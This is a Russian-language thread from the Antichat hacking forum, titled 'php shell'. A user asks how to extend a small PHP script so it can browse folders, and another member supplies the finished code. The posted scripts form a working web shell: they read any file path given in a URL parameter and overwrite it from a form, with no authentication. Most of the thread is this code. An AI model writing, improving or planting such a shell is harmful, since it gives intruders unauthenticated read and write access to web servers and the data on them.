ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

php shell
  #1  
Старый 21.05.2008, 13:29
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию php shell

Как подкоректировать этот скрипт чтобы он открывал папки ?

PHP код:
<?php 
$o
=opendir('./');
$op=$_GET['name'];
print 
"<center><table border=3><tr><td><h1>Select File</h1>";
while (
$r=readdir($o))
{
print 
"<a href=\"?name=";
print 
$r;
print 
"\">$r</a>";
print 
"<br>";
}
print 
"</td>";
if (isset(
$op))
{
 print 
"<td><h1>File Edit</h1> <form method=\"POST\">";
 print 
"<br><br><textarea cols=\"50\" rows=\"20\" name=\"text\">";
 print 
htmlspecialchars(file_get_contents($op));  
 print 
"</textarea>";
 print 
"<input type=\"submit\" value=\"OK\"></form></td></tr></table></center>";
 
$ft=$_POST['text'];
 if(isset(
$ft))
 {
  
$fo=fopen($op,"w");
  
fputs ($fo,$ft);
  die (
"ok");
  
 }
}
?>

Последний раз редактировалось lomerok; 21.05.2008 в 13:41..
 
Ответить с цитированием

  #2  
Старый 21.05.2008, 18:04
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

PHP код:
    function getFileInDir($path)
    {
        
$handle opendir($path);
        if(
$path!='./')$path .= "/";        
        while (
false !== ($file readdir($handle)))
            
$out .= '<a href="?name=' $path $file '">' $file '</a></br>' .  "\n";
        return 
$out;
    }
        
        
$object = isset($_GET['name']) ? $_GET['name'] : './';
        
        if(
is_dir($object))
        {
            echo 
getFileInDir($object);
        }
        else
        {
            echo 
htmlspecialchars(file_get_contents($object)); 
        } 
Просто выводит контент, ареа и таблицы добавь сам

Последний раз редактировалось Naydav; 21.05.2008 в 18:09..
 
Ответить с цитированием

  #3  
Старый 21.05.2008, 18:28
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

PHP код:
    function getFileInDir($path)
    {
        
$handle opendir($path);
        if(
$path!='./')$path .= "/";                            
        while (
false !== ($file readdir($handle)))
            
$out .= '<a href="?name=' $path $file '">' $file '</a></br>' .  "\n";
        return 
$out;
    }
        
        echo 
"<center>
                <table border=3 width=\"100%\">
                  <tr>"
;
            
        
$object = isset($_GET['name']) ? $_GET['name'] : './';        
        if(
is_dir($object))
            echo 
'<td width="200"><h1>Select Edit</h1>' getFileInDir($object) . '</td><td>&nbsp;</td>';
                        
        else
            echo 
'
                 <td width="200"><a href="javascript:history.go(-1);">Cancel</a></td>
                 <td><h1>File Edit</h1>               
                    <form method="POST">
                      <textarea cols="50" rows="20" name="text">' 
htmlspecialchars(file_get_contents($object)) . '</textarea>
                      <input type="submit" value="OK">
                    </form>
                  </td>'
;        
            
            echo 
'</tr>
               </table>
               </center>'

 
Ответить с цитированием

  #4  
Старый 21.05.2008, 20:41
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

что означает знак вопроса в php ???
 
Ответить с цитированием

  #5  
Старый 21.05.2008, 21:10
Аватар для Naydav
Naydav
Постоянный
Регистрация: 30.12.2006
Сообщений: 434
Провел на форуме:
849583

Репутация: 210
По умолчанию

1) Пожалуйста
2) "?" в случае $object = isset($_GET['name']) ? $_GET['name'] : './';
Это сокращенно от

Цитата:
if(isset($_GET['name']))
$object = $_GET['name'] ;
else
$object = './';
Не будешь спрашивать, почему нет фигурных скобок?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ